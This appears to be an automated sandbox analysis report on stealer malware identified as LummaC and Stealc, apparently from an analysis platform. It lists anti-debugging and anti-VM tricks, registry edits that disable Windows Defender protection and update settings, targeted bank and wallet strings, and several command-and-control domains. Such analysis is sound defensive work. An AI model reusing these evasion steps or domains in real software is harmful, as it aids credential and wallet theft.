Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 664491 second address: 664496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 664496 second address: 6644B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5CACF3B8F5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6644B0 second address: 6644C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F5CACC3D91Ch 0x00000010 jc 00007F5CACC3D916h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6644C6 second address: 66453E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a clc 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F5CACF3B8E8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F5CACF3B8F9h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D3917h], eax 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 jmp 00007F5CACF3B8F3h 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66453E second address: 664544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 664544 second address: 664551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 664551 second address: 66456C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D927h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 665026 second address: 66502C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66502C second address: 665030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6664CF second address: 6664D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6664D4 second address: 6664D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 6664D9 second address: 6665A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5CACF3B8E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F5CACF3B8F9h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F5CACF3B8E8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edi, ecx 0x00000030 mov dword ptr [ebp+122D26DEh], ecx 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D181Bh], edx 0x0000003e jmp 00007F5CACF3B8EBh 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ecx 0x00000048 call 00007F5CACF3B8E8h 0x0000004d pop ecx 0x0000004e mov dword ptr [esp+04h], ecx 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc ecx 0x0000005b push ecx 0x0000005c ret 0x0000005d pop ecx 0x0000005e ret 0x0000005f mov edi, dword ptr [ebp+122D2E35h] 0x00000065 jo 00007F5CACF3B8F2h 0x0000006b jne 00007F5CACF3B8ECh 0x00000071 call 00007F5CACF3B8F5h 0x00000076 jp 00007F5CACF3B8E8h 0x0000007c pop esi 0x0000007d xchg eax, ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 js 00007F5CACF3B8ECh 0x00000086 js 00007F5CACF3B8E6h 0x0000008c rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66A069 second address: 66A06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66C0C2 second address: 66C0D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66E0A6 second address: 66E0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66E0AA second address: 66E0BC instructions: 0x00000000 rdtsc 0x00000002 je 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F5CACF3B8E6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	RDTSC instruction interceptor: First address: 66C333 second address: 66C34E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D927h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Special instruction interceptor: First address: 927B3E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Special instruction interceptor: First address: 927C28 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Special instruction interceptor: First address: B5DA43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Special instruction interceptor: First address: 4BDE01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Special instruction interceptor: First address: 4BDD52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Special instruction interceptor: First address: 658753 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Special instruction interceptor: First address: 6F1888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Special instruction interceptor: First address: 86E758 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Special instruction interceptor: First address: 6CFB09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Special instruction interceptor: First address: 8FA9EC instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Memory allocated: 4E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Memory allocated: 5060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Memory allocated: 4E60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe TID: 7256	Thread sleep time: -300000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe TID: 7740	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 72QWSV0N4LEVXR18OCAY5450.exe, 72QWSV0N4LEVXR18OCAY5450.exe, 00000009.00000002.1700321820.0000000000636000.00000040.00000001.01000000.00000006.sdmp, Q0DSEB9ODFQPXTS29CJ02.exe, Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1673317318.000000000084B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: niwvNnBk2p.exe, niwvNnBk2p.exe, 00000000.00000003.1563104379.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412181880.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485417914.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1440799898.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1412605722.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl
Source: niwvNnBk2p.exe, 00000000.00000003.1360289951.0000000005CFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 72QWSV0N4LEVXR18OCAY5450.exe, 00000009.00000002.1700321820.0000000000636000.00000040.00000001.01000000.00000006.sdmp, Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1673317318.000000000084B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: niwvNnBk2p.exe, 00000000.00000003.1360378876.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Q0DSEB9ODFQPXTS29CJ02.exe PID: 7756, type: MEMORYSTR

LummaC encrypted strings found

Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: niwvNnBk2p.exe, 00000000.00000003.1275772434.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: Q0DSEB9ODFQPXTS29CJ02.exe, Q0DSEB9ODFQPXTS29CJ02.exe, 0000000A.00000002.1674118990.0000000000891000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: 72QWSV0N4LEVXR18OCAY5450.exe, 72QWSV0N4LEVXR18OCAY5450.exe, 00000009.00000002.1700321820.0000000000636000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: DProgram Manager

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: niwvNnBk2p.exe, 00000000.00000003.1440799898.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ndows Defender\MsMpeng.exe
Source: niwvNnBk2p.exe, 00000000.00000003.1562935407.00000000013F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r\MsMpeng.exe
Source: niwvNnBk2p.exe, niwvNnBk2p.exe, 00000000.00000003.1563104379.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485417914.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1440799898.00000000013A3000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1446515246.0000000005CBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: niwvNnBk2p.exe, 00000000.00000003.1460627571.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, niwvNnBk2p.exe, 00000000.00000003.1485495246.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: amFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: niwvNnBk2p.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000002.1675138914.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1671949520.0000000000481000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1625763000.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Q0DSEB9ODFQPXTS29CJ02.exe PID: 7756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: niwvNnBk2p.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: niwvNnBk2p.exe, 00000000.00000003.1436311996.00000000013A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: niwvNnBk2p.exe	String found in binary or memory: Wallets/Exodus
